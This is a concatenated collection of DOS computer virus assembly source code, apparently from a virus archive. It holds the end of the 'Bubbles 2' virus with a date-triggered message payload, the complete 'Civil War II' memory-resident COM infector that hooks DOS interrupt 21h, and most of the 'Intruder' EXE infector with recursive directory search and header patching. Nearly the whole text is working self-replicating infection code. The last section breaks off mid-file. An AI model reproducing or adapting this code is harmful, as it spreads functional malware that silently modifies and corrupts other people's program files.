- cmp cx,1993 ; Check current Year
- jb dont_activate
- cmp dl,13 ; Check current Day
- jne dont_activate
-
- mov ah,2ch ; Get current time
- int 21h
-
- cmp ch,13 ; Check current hour
- jne dont_activate
-
- mov ah,9 ; Display string
- lea dx,[bp+messege] ; The string to display
- int 21h
-
- mov cx,2
- include .\routines\phasor.rtn ; Include file
-
- Dont_Activate:
- ret
-
- Move_Fp:
- mov ah,42h ; Move file pointer
- xor cx,cx ; Al has location
- xor dx,dx ; Clear these
- int 21h
- retn
-
- Set_DTA:
- mov ah,1ah ; Move the DTA location
- int 21h ; DX has location
- retn
-
- Open:
- mov ah,3dh ; open file
- lea dx,[bp+DTA+30] ; Filename in DTA
- int 21h
- xchg ax,bx ; put file handle in bx
- ret
-
- Attributes:
- mov ax,4301h ; Set attributes to cx
- lea dx,[bp+DTA+30] ; filename in DTA
- int 21h
- ret
-
- int24: ; New Int 24h
- mov al,3 ; Fail call
- iret ; Return from int 24 call
-
- Virusname db 'Bubbles 2' ; Name Of The Virus
- Author db 'Admiral Bailey' ; Author Of This Virus
- messege:
- db 'Bubbles 2 : Its back and better then ever.',10,13
- db ' ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^',10,13
- db 'Is it me or does that Make no sense at all?',10,13
- Made_with db '[IVP2]',10,13,'$' ; Please do not remove this
-
- comfilespec db '*.com',0 ; Holds type of file to look for
- exefilespec db '*.exe',0 ; Holds type of file to look for
- directory db '..',0 ; Directory to change to
- oldjump db 0cdh,020h,0,0,0 ; Old jump. Is int 20h for file quit
-
- Encrypt_Infect:
- lea si,[bp+offset move_begin] ; Location of where to move from
- lea di,[bp+offset workarea] ; Where to move it too
- mov cx,move_end-move_begin ; Number of bytes to move
- move_loop:
- movsb ; Moves this routine into heap
- loop move_loop
- lea dx,[bp+offset workarea]
- call dx ; Jump to that routine just moved
- ret
-
- Move_Begin equ $ ; Marks beginning of move
- push bx ; Save the file handle
- lea dx,[bp+offset encrypt_end]
- call dx ; Call the encrypt_decrypt procedure
- pop bx ; Get handle back in bx and return
- mov ah,40h ; Write to file
- mov cx,eof-virus ; Number of bytes
- lea dx,[bp+offset virus] ; Where to write from
- int 21h
- push bx ; Save the file handle
- lea dx,[bp+offset encrypt_end]
- call dx ; Decrypt the file and return
- pop bx ; Get handle back in bx and return
- ret
- move_end equ $ ; Marks the end of move
-
- Encrypt_End equ $ ; Marks the end of encryption
-
- Encrypt_Decrypt:
- mov cx,encrypt_end-encrypt_start ; bytes to encrypt
- lea si,cs:[bp+encrypt_start] ; start of encryption
- mov di,si
- encloop:
- lodsb
- xor ah,cs:[bp+enc_value]
- stosb
- loop encloop
- ret
-
- Enc_Value db 00h ; Hold the encryption value 00 for nul effect
-
- EOF equ $ ; Marks the end of file
-
- Counter db 0 ; Infected File Counter
- Workarea db move_end-move_begin dup (?) ; Holds the encrypt_infect routine
- currentdir db 64 dup (?) ; Holds the current dir
- DTA db 42 dup (?) ; Location of new DTA
- Buffer db 1ah dup (?) ; Holds exe header
- OldInt24 dd ? ; Storage for old int 24h handler
- Filler db 3000 dup (0)
-
- eov equ $ ; Used For Calculations
-
- code ends
- end start
-
- done
-
- .Radix 16
- Civil_War Segment
- Model small
- Assume cs:Civil_War, ds:Civil_War, es:Civil_War
-
- org 100h
-
- len equ offset last - begin
- virus_len equ len / 16d
-
- dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h ; Jump + infection
- ; marker
-
- begin: Call virus ; make call to
- ; push IP on stack
-
- virus: pop bp ; get IP from stack.
- sub bp,109h ; adjust IP.
-
- restore_host: mov di,0100h ; recover beginning
- lea si,ds:[carrier_begin+bp] ; of carrier program.
- mov cx,06h
- rep movsb
-
- check_resident: mov ah,0a0h ; check if virus
- int 21h ; already installed.
- cmp ax,0001h
- je end_virus
-
- adjust_memory: mov ax,cs ; start of Memory
- dec ax ; Control Block
- mov ds,ax
- cmp byte ptr ds:[0000],5a ; check if last
- ; block
- jne abort ; if not last block
- ; end
- mov ax,ds:[0003] ; decrease memory
- sub ax,40 ; by 1kbyte lenght
- mov ds:[0003],ax
- sub word ptr ds:[0012],40h
-
- install_virus: mov bx,ax ; es point to start
- mov ax,es ; virus in memory
- add ax,bx
- mov es,ax
- mov cx,len ; cx = lenght virus
- mov ax,ds ; restore ds
- inc ax
- mov ds,ax
- lea si,ds:[begin+bp] ; point to start virus
- lea di,es:0100 ; point to destination
- rep movsb ; copy virus in
- ; memory
- mov [virus_segment+bp],es ; store start virus
- ; in memory
- mov ax,cs ; restore es
- mov es,ax
-
- hook_vector: cli ; no interups
- mov ax,3521h ; revector int 21
- int 21h
- mov ds,[virus_segment+bp]
- mov old_21h-6h,bx
- mov old_21h+2-6h,es
-
- mov dx,offset main_virus - 6h
- mov ax,2521h
- int 21h
- sti
-
- abort: mov ax,cs
- mov ds,ax
- mov es,ax
-
- end_virus: mov bx,0100h ; jump to begin
- jmp bx ; host file
-
-
- ;*****************************************************************************
-
- main_virus: pushf
- cmp ah,0a0h ; check virus call
- jne new_21h ; no virus call
- mov ax,0001h ; ax = id
- popf ; return id
- iret
-
- new_21h: push ds ; save registers
- push es
- push di
- push si
- push ax
- push bx
- push cx
- push dx
-
- check_open: cmp ah,3dh
- je chk_com
-
- check_exec: cmp ax,04b00h ; exec function?
- je chk_com
-
- continu: pop dx ; restore registers
- pop cx
- pop bx
- pop ax
- pop si
- pop di
- pop es
- pop ds
- popf
- jmp dword ptr cs:[old_21h-6]
-
- chk_com: mov cs:[name_seg-6],ds
- mov cs:[name_off-6],dx
- cld ; check extension
- mov di,dx ; for COM
- push ds
- pop es
- mov al,'.' ; search extension
- repne scasb ; check for 'COM"
- cmp word ptr es:[di],'OC' ; check 'CO'
- jne continu
- cmp word ptr es:[di+2],'M' ; check 'M'
- jne continu
-
- call set_int24h
- call set_atribuut
-
- open_file: mov ds,cs:[name_seg-6]
- mov dx,cs:[name_off-6]
- mov ax,3D02h ; open file
- call do_int21h
- jc close_file
- push cs
- pop ds
- mov [handle-6],ax
- mov bx,ax
-
- call get_date
-
- check_infect: push cs
- pop ds
- mov bx,[handle-6] ; read first 6 bytes
- mov ah,3fh
- mov cx,06h
- lea dx,[carrier_begin-6]
- call do_int21h
- mov al, byte ptr [carrier_begin-6]+3 ; check initials
- mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H'
- cmp ax,[initials-6]
- je save_date ; if equal already
- ; infect
-
- get_lenght: mov ax,4200h ; file pointer begin
- call move_pointer
- mov ax,4202h ; file pointer end
- call move_pointer
- sub ax,03h ; ax = filelenght
- mov [lenght_file-6],ax
-
- call write_jmp
- call write_virus
-
- save_date: push cs
- pop ds
- mov bx,[handle-6]
- mov dx,[date-6]
- mov cx,[time-6]
- mov ax,5701h
- call do_int21h
-
- close_file: mov bx,[handle-6]
- mov ah,03eh ; close file
- call do_int21h
-
- mov dx,cs:[old_24h-6] ; restore int24h
- mov ds,cs:[old_24h+2-6]
- mov ax,2524h
- call do_int21h
-
- jmp continu
-
-
-
-
- new_24h: mov al,3
- iret
-
- ;---------------------------------------------------------------------------
- ; PROCEDURES
- ;---------------------------------------------------------------------------
-
- move_pointer: push cs
- pop ds
- mov bx,[handle-6]
- xor cx,cx
- xor dx,dx
- call do_int21h
- ret
-
- do_int21h: pushf
- call dword ptr cs:[old_21h-6]
- ret
-
- write_jmp: push cs
- pop ds
- mov ax,4200h
- call move_pointer
- mov ah,40h
- mov cx,01h
- lea dx,[jump-6]
- call do_int21h
- mov ah,40h
- mov cx,02h
- lea dx,[lenght_file-6]
- call do_int21h
- mov ah,40h
- mov cx,02h
- lea dx,[initials-6]
- call do_int21h
- ret
-
- write_virus: push cs
- pop ds
- mov ax,4202h
- call move_pointer
- mov ah,40
- mov cx,len
- mov dx,100
- call do_int21h
- ret
-
- get_date: mov ax,5700h
- call do_int21h
- push cs
- pop ds
- mov [date-6],dx
- mov [time-6],cx
- ret
-
- set_int24h: mov ax,3524h
- call do_int21h
- mov cs:[old_24h-6],bx
- mov cs:[old_24h+2-6],es
- mov dx,offset new_24h-6
- push cs
- pop ds
- mov ax,2524h
- call do_int21h
- ret
-
- set_atribuut: mov ax,4300h ; get atribuut
- mov ds,cs:[name_seg-6]
- mov dx,cs:[name_off-6]
- call do_int21h
- and cl,0feh ; set atribuut
- mov ax,4301h
- call do_int21h
- ret
-
- ;---------------------------------------------------------------------------
- ; DATA
- ;---------------------------------------------------------------------------
-
- old_21h dw 00h,00h
- old_24h dw 00h,00h
- carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h
- text db 'Civil War II v1.1, (c) 06/03/1992 Trident/Dark Helmet, The Netherlands',00h
- jump db 0e9h
- name_seg dw ?
- name_off dw ?
- virus_segment dw ?
- lenght_file dw ?
- handle dw ?
- date dw ?
- time dw ?
- initials dw 4844h
- last db 090h
-
- Civil_war ends
- end dummy
-
- done
-
- .SEQ
-
- HOSTSEG SEGMENT BYTE
- ASSUME CS:HOSTSEG,SS:HSTACK
-
- PGMSTR DB 'INTRUDER.EXE',0
-
- HOST:
- mov ax,cs ;we want DS=CS here
- mov ds,ax
- mov dx,OFFSET PGMSTR
- mov ah,41H
- int 21H ;delete this exe file
- mov ah,4CH
- mov al,0
- int 21H ;terminate normally
- HOSTSEG ENDS
-
-
- ;Host program stack segment
-
- HSTACK SEGMENT PARA STACK
- db 100H dup (?) ;100 bytes long
- HSTACK ENDS
-
- ;------------------------------------------------------------------------
- ;This is the virus itself
-
- STACKSIZE EQU 100H ;size of stack for the virus
- NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table
-
- ;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together
-
- ;Intruder Virus code segment. This gains control first, before the host. As this
- ;ASM file is layed out, this program will look exactly like a simple program
- ;that was infected by the virus.
-
- VSEG SEGMENT PARA
- ASSUME CS:VSEG,DS:VSEG,SS:VSTACK
-
- ;data storage area comes before any code
- VIRUSID DW 0C8AAH ;identifies virus
- OLDDTA DD 0 ;old DTA segment and offset
- DTA1 DB 2BH dup (?) ;new disk transfer area
- DTA2 DB 56H dup (?) ;dta for directory finds (2 deep)
- EXE_HDR DB 1CH dup (?) ;buffer for EXE file header
- EXEFILE DB '\*.EXE',0 ;search string for an exe file
- ALLFILE DB '\*.*',0 ;search string for any file
- USEFILE DB 78 dup (?) ;area to put valid file path
- LEVEL DB 0 ;depth to search directories for a file
- HANDLE DW 0 ;file handle
- FATTR DB 0 ;old file attribute storage area
- FTIME DW 0 ;old file time stamp storage area
- FDATE DW 0 ;old file date stamp storage area
- FSIZE DD 0 ;file size storage area
- VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there
- VCODE DB 1 ;identifies this version
-
- ;--------------------------------------------------------------------------
- ;Intruder virus main routine starts here
- VIRUS:
- push ax ;save startup info in ax
- mov ax,cs
- mov ds,ax ;set up DS=CS for the virus
- mov ax,es ;get PSP Seg
- mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it
- call SHOULDRUN ;run only when certain conditions met signalled by z set
- jnz REL1 ;conditions aren't met, go execute host program
- call SETSR ;modify SHOULDRUN procedure to activate conditions
- call NEW_DTA ;set up a new DTA location
- call FIND_FILE ;get an exe file to attack
- jnz FINISH ;returned nz - no valid file, exit
- call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode
- call INFECT ;move program code to file we found to attack
- call REST_ATTRIBUTE ;restore the original file attributes and close the file
- FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup
- pop ax ;restore startup value of ax
- REL1: ;relocatable marker for host stack segment
- mov bx,HSTACK ;set up host program stack segment (ax=segment)
- cli ;interrupts off while changing stack
- mov ss,bx
- REL1A: ;marker for host stack pointer
- mov sp,OFFSET HSTACK
- mov es,WORD PTR [OLDDTA+2] ;set up ES correctly
- mov ds,WORD PTR [OLDDTA+2] ;and DS
- sti ;interrupts back on
- REL2: ;relocatable marker for host code segment
- jmp FAR PTR HOST ;begin execution of host program
-
- ;--------------------------------------------------------------------------
- ;First Level - Find a file which passes FILE_OK
- ;
- ;This routine does a complex directory search to find an EXE file in the
- ;current directory, one of its subdirectories, or the root directory or one
- ;of its subdirectories, to find a file for which FILE_OK returns with C reset.
- ;If you want to change the depth of the search, make sure to allocate enough
- ;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
- ;since the recursive FINDBR uses a different DTA area for the search (see DOS
- ;functions 4EH and 4FH) on each level.
- ;
- FIND_FILE:
- mov al,'\' ;set up current directory path in USEFILE
- mov BYTE PTR [USEFILE],al
- mov si,OFFSET USEFILE+1
- xor dl,dl
- mov ah,47H
- int 21H ;get current dir, USEFILE= \dir
- cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root
- jnz FF2 ;not the root
- xor al,al ;make correction for root directory,
- mov BYTE PTR [USEFILE],al ;by setting USEFILE = ''
- FF2: mov al,2
- mov [LEVEL],al ;search 2 subdirs deep
- call FINDBR ;attempt to locate a valid file
- jz FF3 ;found one - exit
- xor al,al ;nope - try the root directory
- mov BYTE PTR [USEFILE],al ;by setting USEFILE= ''
- inc al ;al=1
- mov [LEVEL],al ;search one subdir deep
- call FINDBR ;attempt to find file
- FF3:
- ret ;exit with z flag set by FINDBR to indicate success/failure
-
-
- ;--------------------------------------------------------------------------
- ;Second Level - Find in a branch
- ;
- ;This function searches the directory specified in USEFILE for EXE files.
- ;after searching the specified directory, it searches subdirectories to the
- ;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this
- ;routine exits with Z set and leaves the file and path in USEFILE
- ;
- FINDBR:
- call FINDEXE ;search current dir for EXE first
- jnc FBE3 ;found it - exit
- cmp [LEVEL],0 ;no - do we want to go another directory deeper?
- jz FBE1 ;no - exit
- dec [LEVEL] ;yes - decrement LEVEL and continue
- mov di,OFFSET USEFILE ;'\curr_dir' is here
- mov si,OFFSET ALLFILE ;'\*.*' is here
- call CONCAT ;get '\curr_dir\*.*' in USEFILE
- inc di
- push di ;store pointer to first *
- call FIRSTDIR ;get first subdirectory
- jnz FBE ;couldn't find it, so quit
- FB1: ;otherwise, check it out
- pop di ;strip \*.* off of USEFILE
- xor al,al
- stosb
- mov di,OFFSET USEFILE
- mov bx,OFFSET DTA2+1EH
- mov al,[LEVEL]
- mov dl,2BH ;compute correct DTA location for subdir name
- mul dl ;which depends on the depth we're at in the search
- add bx,ax ;bx points to directory name
- mov si,bx
- call CONCAT ;'\curr_dir\sub_dir' put in USEFILE
- push di ;save position of first letter in sub_dir name
- call FINDBR ;scan the subdirectory and its subdirectories (recursive)
- jz FBE2 ;if successful, exit
- call NEXTDIR ;get next subdirectory in this directory
- jz FB1 ;go check it if search successful
- FBE: ;else exit, NZ set, cleaned up
- inc [LEVEL] ;increment the level counter before exit
- pop di ;strip any path or file spec off of original
- xor al,al ;directory path
- stosb
- FBE1: mov al,1 ;return with NZ set
- or al,al
- ret
-
- FBE2: pop di ;successful exit, pull this off the stack
- FBE3: xor al,al ;and set Z
- ret ;exit
-
- ;--------------------------------------------------------------------------
- ;Third Level - Part A - Find an EXE file
- ;
- ;This function searches the path in USEFILE for an EXE file which passes
- ;the test FILE_OK. This routine will return the full path of the EXE file
- ;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return
- ;with the c flag set. It will search a whole directory before giving up.
- ;
- FINDEXE:
- mov dx,OFFSET DTA1 ;set new DTA for EXE search
- mov ah,1AH
- int 21H
- mov di,OFFSET USEFILE
- mov si,OFFSET EXEFILE
- call CONCAT ;set up USEFILE with '\dir\*.EXE'
- push di ;save position of '\' before '*.EXE'
- mov dx,OFFSET USEFILE
- mov cx,3FH ;search first for any file
- mov ah,4EH
- int 21H
- NEXTEXE:
- or al,al ;is DOS return OK?
- jnz FEC ;no - quit with C set
- pop di
- inc di
- stosb ;truncate '\dir\*.EXE' to '\dir\'
- mov di,OFFSET USEFILE
- mov si,OFFSET DTA1+1EH
- call CONCAT ;setup file name '\dir\filename.exe'
- dec di
- push di
- call FILE_OK ;yes - is this a good file to use?
- jnc FENC ;yes - valid file found - exit with c reset
- mov ah,4FH
- int 21H ;do find next
- jmp SHORT NEXTEXE ;and go test it for validity
-
- FEC: ;no valid file found, return with C set
- pop di
- mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
- stc
- ret
- FENC: ;valid file found, return with NC
- pop di
- ret
-
-
- ;--------------------------------------------------------------------------
- ;Third Level - Part B - Find a subdirectory
- ;
- ;This function searches the file path in USEFILE for subdirectories, excluding
- ;the subdirectory header entries. If one is found, it returns with Z set, and
- ;if not, it returns with NZ set.
- ;There are two entry points here, FIRSTDIR, which does the search first, and
- ;NEXTDIR, which does the search next.
- ;
- FIRSTDIR:
- call GET_DTA ;get proper DTA address in dx (calculated from LEVEL)
- push dx ;save it
- mov ah,1AH ;set DTA
- int 21H
- mov dx,OFFSET USEFILE
- mov cx,10H ;search for a directory
- mov ah,4EH ;do search first function
- int 21H
- NEXTD1:
- pop bx ;get pointer to search table (DTA)
- or al,al ;successful search?
- jnz NEXTD3 ;no, quit with NZ set
- test BYTE PTR [bx+15H],10H ;is this a directory?
- jz NEXTDIR ;no, find another
- cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header?
- jne NEXTD2 ;no - valid directory, exit, setting Z flag
- ;else it was dir header entry, so fall through to next
- NEXTDIR: ;second entry point for search next
- call GET_DTA ;get proper DTA address again - may not be set up
- push dx
- mov ah,1AH ;set DTA
- int 21H
- mov ah,4FH
- int 21H ;do find next
- jmp SHORT NEXTD1 ;and loop to check the validity of the return
-
- NEXTD2:
- xor al,al ;successful exit, set Z flag
- NEXTD3:
- ret ;exit routine
-
- ;--------------------------------------------------------------------------
- ;Return the DTA address associated to LEVEL in dx. This is simply given by
- ;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
- ;in its own DTA, since a search at a lower level occurs in the middle of the
- ;higher level search, and we don't want the higher level being ruined by
- ;corrupted data.
- ;
- GET_DTA:
- mov dx,OFFSET DTA2
- mov al,2BH
- mul [LEVEL]
- add dx,ax ;return with dx= proper dta offset
- ret
-
- ;--------------------------------------------------------------------------
- ;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
- ;string at ES:DI. Return ES:DI pointing to the end of the first string in the
- ;destination (or the first character of the second string, after moved).
- ;
- CONCAT:
- mov al,byte ptr es:[di] ;find the end of string 1
- inc di
- or al,al
- jnz CONCAT
- dec di ;di points to the null at the end
- push di ;save it to return to the caller
- CONCAT2:
- cld
- lodsb ;move second string to end of first
- stosb
- or al,al
- jnz CONCAT2
- pop di ;and restore di to point to end of string 1
- ret
-
-
- ;--------------------------------------------------------------------------
- ;Function to determine whether the EXE file specified in USEFILE is useable.
- ;if so return nc, else return c
- ;What makes an EXE file useable?:
- ; a) The signature field in the EXE header must be 'MZ'. (These
- ; are the first two bytes in the file.)
- ; b) The Overlay Number field in the EXE header must be zero.
- ; c) There must be room in the relocatable table for NUMRELS
- ; more relocatables without enlarging it.
- ; d) The word VIRUSID must not appear in the 2 bytes just before
- ; the initial CS:0000 of the test file. If it does, the virus
- ; is probably already in that file, so we skip it.
- ;
- FILE_OK:
- call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR
- jc OK_END ;error in reading the file, so quit
- call CHECK_SIG_OVERLAY ;is the overlay number zero?
- jc OK_END ;no - exit with c set
- call REL_ROOM ;is there room in the relocatable table?
- jc OK_END ;no - exit
- call IS_ID_THERE ;is id at CS:0000?
- OK_END: ret ;return with c flag set properly
-
- ;--------------------------------------------------------------------------
- ;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
- ;number is anything but zero.
- CHECK_SIG_OVERLAY:
- mov al,'M' ;check the signature first
- mov ah,'Z'
- cmp ax,WORD PTR [EXE_HDR]
- jz CSO_1 ;jump if OK
- stc ;else set carry and exit
- ret
- CSO_1: xor ax,ax
- sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
- ret ;c is set if it's anything but 0
-
- ;--------------------------------------------------------------------------
- ;This function reads the 28 byte EXE file header for the file named in USEFILE.
- ;It puts the header in EXE_HDR, and returns c set if unsuccessful.
- ;
- GET_EXE_HEADER:
- mov dx,OFFSET USEFILE
- mov ax,3D02H ;r/w access open file
- int 21H
- jc RE_RET ;error opening - C set - quit without closing
- mov [HANDLE],ax ;else save file handle
- mov bx,ax ;handle to bx
- mov cx,1CH ;read 28 byte EXE file header
- mov dx,OFFSET EXE_HDR ;into this buffer
- mov ah,3FH
- int 21H
- RE_RET: ret ;return with c set properly
-
- ;--------------------------------------------------------------------------
- ;This function determines if there are at least NUMRELS openings in the
- ;current relocatable table in USEFILE. If there are, it returns with
- ;carry reset, otherwise it returns with carry set. The computation
- ;this routine does is to compare whether
- ; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
- ;is >= than 4 * NUMRELS. If it is, then there is enough room
- ;
- REL_ROOM:
- mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
- add ax,ax
- add ax,ax
- sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables
- add ax,ax
- add ax,ax
- sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
- cmp ax,4*NUMRELS ;enough room to put relocatables in?
- RR_RET: ret ;exit with carry set properly
-
-
- ;--------------------------------------------------------------------------
- ;This function determines whether the word at the initial CS:0000 in USEFILE
- ;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
- ;it returns c reset.
- ;
- IS_ID_THERE:
- mov ax,WORD PTR [EXE_HDR+22] ;Initial CS
- add ax,WORD PTR [EXE_HDR+8] ;Header size
- mov dx,16
- mul dx
- mov cx,dx
- mov dx,ax ;cxdx = position to look for VIRUSID in file
- mov bx,[HANDLE]
- mov ax,4200H ;set file pointer, relative to beginning
- int 21H
- mov ah,3FH
- mov bx,[HANDLE]
- mov dx,OFFSET VIDC
- mov cx,2 ;read 2 bytes into VIDC
- int 21H
- jc II_RET ;couldn't read - bad file - report as though ID is there so we dont do any more to this file
- mov ax,[VIDC]
- cmp ax,[VIRUSID] ;is it the VIRUSID?
- clc
- jnz II_RET ;if not, then virus is not already in this file
- stc ;else it is probably there already
- II_RET: ret
-
-
- ;--------------------------------------------------------------------------
- ;This routine makes sure file end is at paragraph boundary, so the virus
- ;can be attached with a valid CS. Assumes file pointer is at end of file.
- SETBDY:
- mov al,BYTE PTR [FSIZE]
- and al,0FH ;see if we have a paragraph boundary (header is always even # of paragraphs)
- jz SB_E ;all set - exit
- mov cx,10H ;no - write any old bytes to even it up
- sub cl,al ;number of bytes to write in cx
- mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just garbage there)
- add WORD PTR [FSIZE],cx ;update FSIZE
- adc WORD PTR [FSIZE+2],0
- mov bx,[HANDLE]
- mov ah,40H ;DOS write function
- int 21H
- SB_E: ret
-
- ;--------------------------------------------------------------------------
- ;This routine moves the virus (this program) to the end of the EXE file
- ;Basically, it just copies everything here to there, and then goes and
- ;adjusts the EXE file header and two relocatables in the program, so that
- ;it will work in the new environment. It also makes sure the virus starts
- ;on a paragraph boundary, and adds how many bytes are necessary to do that.
- ;
- INFECT:
- mov cx,WORD PTR [FSIZE+2]
- mov dx,WORD PTR [FSIZE]
- mov bx,[HANDLE]
- mov ax,4200H ;set file pointer, relative to beginning
- int 21H ;go to end of file
- call SETBDY ;lengthen to a paragraph boundary if necessary
- mov cx,OFFSET FINAL ;last byte of code
- xor dx,dx ;first byte of code, DS:DX
- mov bx,[HANDLE] ;move virus code to end of file being attacked with
- mov ah,40H ;DOS write function
- int 21H
- mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS)
- mov cx,WORD PTR [FSIZE+2]
- mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file
- inc bx
- add dx,bx
- mov bx,0
- adc cx,bx ;cx:dx is that number
- mov bx,[HANDLE]
- mov ax,4200H ;set file pointer to 1st relocatable
- int 21H
- mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program
- mov bx,[HANDLE] ;from the EXE header
- mov cx,2
- mov ah,40H ;and write it to relocatable REL1+1
- int 21H
- mov dx,WORD PTR [FSIZE]
- mov cx,WORD PTR [FSIZE+2]
- mov bx,OFFSET REL1A ;put in correct old SP from EXE header
- inc bx ;at FSIZE+REL1A+1
- add dx,bx
- mov bx,0
- adc cx,bx ;cx:dx points to FSIZE+REL1A+1
- mov bx,[HANDLE]
- mov ax,4200H ;set file pointer to place to write SP to
- int 21H
- mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program
- mov bx,[HANDLE] ;from EXE header
- mov cx,2
- mov ah,40H ;and write it where it belongs
- int 21H
- mov dx,WORD PTR [FSIZE]
- mov cx,WORD PTR [FSIZE+2]
- mov bx,OFFSET REL2 ;put in correct old CS:IP in program
- add bx,1 ;at FSIZE+REL2+1 on disk
- add dx,bx
- mov bx,0
- adc cx,bx ;cx:dx points to FSIZE+REL2+1
- mov bx,[HANDLE]
- mov ax,4200H ;set file pointer relavtive to start of file
- int 21H
- mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header
- mov bx,[HANDLE]
- mov cx,4
- mov ah,40H ;and write 4 bytes to FSIZE+REL2+1
- int 21H
- ;done writing relocatable vectors
- ;so now adjust the EXE header values
- xor cx,cx
- xor dx,dx
- mov bx,[HANDLE]
- mov ax,4200H ;set file pointer to start of file
- int 21H
- mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS)
- mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in paragraphs)
- shr ax,cl
- mov bx,WORD PTR [FSIZE+2]
- and bl,0FH
- mov cl,4
- shl bl,cl
- add ah,bl
- sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
- mov WORD PTR [EXE_HDR+22],ax;and save as initial CS
- mov bx,OFFSET FINAL ;compute new initial SS
- add bx,10H ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16)
- mov cl,4
- shr bx,cl
- add ax,bx
- mov WORD PTR [EXE_HDR+14],ax ;and save it
- mov ax,OFFSET VIRUS ;get initial IP
- mov WORD PTR [EXE_HDR+20],ax ;and save it
- mov ax,STACKSIZE ;get initial SP
- mov WORD PTR [EXE_HDR+16],ax ;and save it
- mov dx,WORD PTR [FSIZE+2]
- mov ax,WORD PTR [FSIZE] ;calculate new file size
- mov bx,OFFSET FINAL
- add ax,bx
- xor bx,bx
- adc dx,bx ;put it in ax:dx
- add ax,200H ;and set up the new page count
- adc dx,bx ;page ct= (ax:dx+512)/512
- push ax
- mov cl,9
- shr ax,cl
- mov cl,7
- shl dx,cl
- add ax,dx
- mov WORD PTR [EXE_HDR+4],ax ;and save it here
- pop ax
- and ax,1FFH ;now calculate last page size
- mov WORD PTR [EXE_HDR+2],ax ;and put it here
- mov ax,NUMRELS ;adjust relocatables counter
- add WORD PTR [EXE_HDR+6],ax
- mov cx,1CH ;and save data at start of file
- mov dx,OFFSET EXE_HDR
- mov bx,[HANDLE]
- mov ah,40H ;DOS write function
- int 21H
- mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
- dec ax ;in order to calculate location of
- dec ax ;where to add relocatables
- mov bx,4 ;Location= (No in table-2)*4+Table Offset
- mul bx
- add ax,WORD PTR [EXE_HDR+24];table offset
- mov bx,0
- adc dx,bx ;dx:ax=end of old table in file
- mov cx,dx
- mov dx,ax
- mov bx,[HANDLE]
- mov ax,4200H ;set file pointer to table end
- int 21H
- mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of REL1
- mov bx,OFFSET REL1
- inc bx ;offset of REL1
- mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to
- mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
- mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2
- mov bx,OFFSET REL2
- add bx,3 ;offset of REL2
- mov WORD PTR [EXE_HDR+4],bx ;write it to buffer
- mov WORD PTR [EXE_HDR+6],ax
- mov cx,8 ;and then write 8 bytes of data in file
- mov dx,OFFSET EXE_HDR
- mov bx,[HANDLE]
- mov ah,40H ;DOS write function
- int 21H
- ret ;that's it, infection is complete!
-
- ;--------------------------------------------------------------------------
- ;This routine determines whether the reproduction code should be executed.
- ;If it returns Z, the reproduction code is executed, otherwise it is not.
- ;Currently, it only executes if the system time variable is a multiple of
- ;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
- ;executions of the program. TIMECT should be 2^n-1
- ;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
- ;is run. This makes SHOULDRUN return Z for sure the first time, so it
- ;definitely runs when this loader program is run, but after that, the time must
- ;be an even multiple of TIMECT+1.
- ;
- TIMECT EQU 0 ;Determines how often to reproduce (1/64 here)
- ;
- SHOULDRUN:
- xor ah,ah ;zero ax to start, set z flag
- SR1: ret ;this gets replaced by NOP when program runs
- int 1AH
- and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks?
- ret ;return with z flag set if it is, else nz set
-
-
- ;--------------------------------------------------------------------------
- ;SETSR modifies SHOULDRUN so that the full procedure gets run
- ;it is redundant after the initial load
- SETSR:
- mov al,90H ;NOP code
- mov BYTE PTR SR1,al ;put it in place of RET above
- ret ;and return
-
- ;--------------------------------------------------------------------------
- ;This routine sets up the new DTA location at DTA1, and saves the location of
- ;the initial DTA in the variable OLDDTA.
- NEW_DTA:
- mov ah,2FH ;get current DTA in ES:BX
- int 21H
- mov WORD PTR [OLDDTA],bx ;save it here
- mov ax,es
- mov WORD PTR [OLDDTA+2],ax
- mov ax,cs
- mov es,ax ;set up ES
- mov dx,OFFSET DTA1 ;set new DTA offset
- mov ah,1AH
- int 21H ;and tell DOS where we want it
- ret
-
